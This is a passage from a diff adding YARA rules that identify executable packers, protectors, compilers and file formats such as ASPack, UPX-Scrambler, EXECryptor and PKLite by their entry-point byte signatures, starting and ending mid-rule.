+		$2 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _xPEP_03x__xIkUg_
+{
+	meta:
+		description = "xPEP 0.3x -> xIkUg"
+	strings:
+		$0 = {55 53 56 51 52 57 E8 16 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack__Nort_Star_Software__urlwwwnsdsncom_
+{
+	meta:
+		description = "NSPack -> Nort Star Software - url:://www.nsdsn.com/"
+	strings:
+		$0 = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08 83 7E 08 00 75 02 EB 7A 8B 5E 08 03 DA 53 52 56 8D BD ?? ?? FF FF 03 7E 04 83 C6 0C 57}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXScrambler_RC_v1x_
+{
+	meta:
+		description = "UPX-Scrambler RC v1.x"
+	strings:
+		$0 = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+		$1 = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_2xx_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.xx (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+	condition:
+		$0 at entrypoint
+}
+rule _AutoDesk_Animation_file_
+{
+	meta:
+		description = "AutoDesk Animation file"
+	strings:
+		$0 = {00 12 AF ?? ?? 40 01 C8}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__WinRARSFX_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+		$1 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 2D ?? ?? 8E D0 51 2D ?? ?? 8E C0 50 B9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LCCWin32_
+{
+	meta:
+		description = "LCC-Win32"
+	strings:
+		$0 = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _TPPpack__clane_
+{
+	meta:
+		description = "TPPpack -> clane"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+		$1 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v102a_
+{
+	meta:
+		description = "ASPack v1.02a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _Dropper_Creator_V01__Conflict_
+{
+	meta:
+		description = "Dropper Creator V0.1 -> Conflict"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+		$1 = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PureBasic_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+		$1 = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _LY_WGKX___V2X__wwwszleyucom__SignByfly__20080122_
+{
+	meta:
+		description = "LY_WGKX * Íâ¹Ò¿ËÐÇ V2.X -> www.szleyu.com * Sign.By.fly * 20080122"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 01 00 4D 79 46 75 6E 00 62 73 00 00}
+	condition:
+		$0
+}
+rule _File_Analyzer_Extended_Datafile_
+{
+	meta:
+		description = "File Analyzer Extended Datafile"
+	strings:
+		$0 = {23 03 45 58 54 44}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_049__Hying_
+{
+	meta:
+		description = "hying's PE-Armor 0.49 -> Hying"
+	strings:
+		$0 = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MIDI_Music_file_
+{
+	meta:
+		description = "MIDI Music file"
+	strings:
+		$0 = {4D 54 68 64 00 00 00 06 ?? ?? ?? ?? ?? ?? 4D 54}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_11_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (11)"
+	strings:
+		$0 = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Morphine_12_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SQZ_Archive_
+{
+	meta:
+		description = "SQZ Archive"
+	strings:
+		$0 = {48 4C 53 51 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _CGM_Graphics_format_
+{
+	meta:
+		description = "CGM Graphics format"
+	strings:
+		$0 = {00 2A 08 48 69 4A 61 61 6B 20 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_01x__020__021__024_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.1x / 0.20 / 0.21 / 0.24 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+		$1 = {BE 88 01 40 00 AD 8B F8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V038__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.38 -> Dwing   * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5B 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? 69 ED 00 0C 00 00 8D AC 2B 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 50 33 C9 E9 FB 00 00 00 04 F9 1A C0 B1 30 8B 6B 08 03 D1 FF 16 73 49 03 D1 FF 16 72 17 03 D1 FF 16 72 27 24 02 04 09 50 8B C7 2B 43 08 8A 00 E9 CD 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 24 03 04 08 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 95 00 00 00 24 03 04 07 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 10}
+	condition:
+		$0
+}
+rule _PKLite_201_COM_
+{
+	meta:
+		description = "PKLite 2.01 [COM]"
+	strings:
+		$0 = {50 B8 00 00 BA 00 00 3B C4 73 79 8B C4 2D 42 03 25 F0 FF 8B F8 B9 A1 00 BE 8E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 90 01 02 50 4B 4C 49 54 45 20 43 6F 70 72 2E 20 31 39 39 30 2D 31 39 39 35 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_02__20x__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 0.2 - 2.0x -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v156_
+{
+	meta:
+		description = "PECompact v1.56"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v016b__v0163b_
+{
+	meta:
+		description = "CodeCrypt v0.16b - v0.163b"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_12_Seek_and_Destroy_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Seek and Destroy Patch"
+	strings:
+		$0 = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_10_beta__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.0 beta -> CGSoftLabs"
+	strings:
+		$0 = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+		$1 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+		$2 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PKLITE32_V11__PKWARE_Inc_
+{
+	meta:
+		description = "PKLITE32 V1.1 -> PKWARE Inc."
+	strings:
+		$0 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Inliner_10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner 1.0 by GPcH"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PuNkMoD_1x__PuNkDuDe_
+{
+	meta:
+		description = "PuNkMoD 1.x -> PuNkDuDe"
+	strings:
+		$0 = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+		$1 = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MoleBoxPro_255__Mole_Studio_
+{
+	meta:
+		description = "MoleBoxPro 2.5.5 -> Mole Studio"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 CA 69 00 00 E9 DE 69 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Guard_150_for_Win16_
+{
+	meta:
+		description = "PC Guard 1.50 for Win16"
+	strings:
+		$0 = {50 53 51 52 56 57 55 1E 06 06 33 C0 50 2E FF 1E 01 0F 0B C0 74 F4 50 8C CB 53 50 2E FF 1E 09 0F 0B C0 75 03 58 EB EF 8E D8 58 07 A3 ED 0E 89 3E EB 0E 8C 06 EF 0E B8 D7 8A BF EA 0E 2D 62 8A 8B D0 B9 75 0E 96 FD F6 C1 1F 75 02 8B F2 AC BB 88}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Duals_eXe_10_
+{
+	meta:
+		description = "Dual's eXe 1.0"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+		$1 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+		$2 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v032a_fake_yodas_cryptor_12__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake yoda's cryptor 1.2) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Symantec_C_v210_v400_or_Zortech_C_v30r1_
+{
+	meta:
+		description = "Symantec C v2.10, v4.00 or Zortech C v3.0r1"
+	strings:
+		$0 = {FA FC B8 ?? ?? 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System v1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+		$1 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Adobe_PDF_Portable_document_Version_v3v4_
+{
+	meta:
+		description = "Adobe PDF (Portable document) Version %v3.%v4"
+	strings:
+		$0 = {25 50 44 46 2D ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_2x_
+{
+	meta:
+		description = "MinGW GCC 2.x"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ProtEXE_211_EXE_
+{
+	meta:
+		description = "ProtEXE 2.11 [EXE]"
+	strings:
+		$0 = {9C 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0 74 2A 9C 58 25 FF 0F 0D 00 70 50 9D 9C 58 25 00 70 74 19 BA 64 00 B0 AD EB 01 88 EE EB 01 A0 0F 20 00 F8 BA 64 00 B0 AE EB 01 88 EE 9D 1E 06 33 C0 8E D8 FF 36 0C 00 FF 36 0E 00 B8 00 02 A3 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v204__MARQUISDESOIRE_
+{
+	meta:
+		description = "PE Lock NT v2.04 -> :MARQUIS:DE:SOIRÐE:"
+	strings:
+		$0 = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V01bV03b__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.1b-V0.3b -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Pack_099_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Pack 0.99"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200b_extra_
+{
+	meta:
+		description = "PKLITE v2.00b [extra"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80}
+		$1 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH__emadicius_
+{
+	meta:
+		description = "MSLRH -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+		$1 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v211b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com"
+	strings:
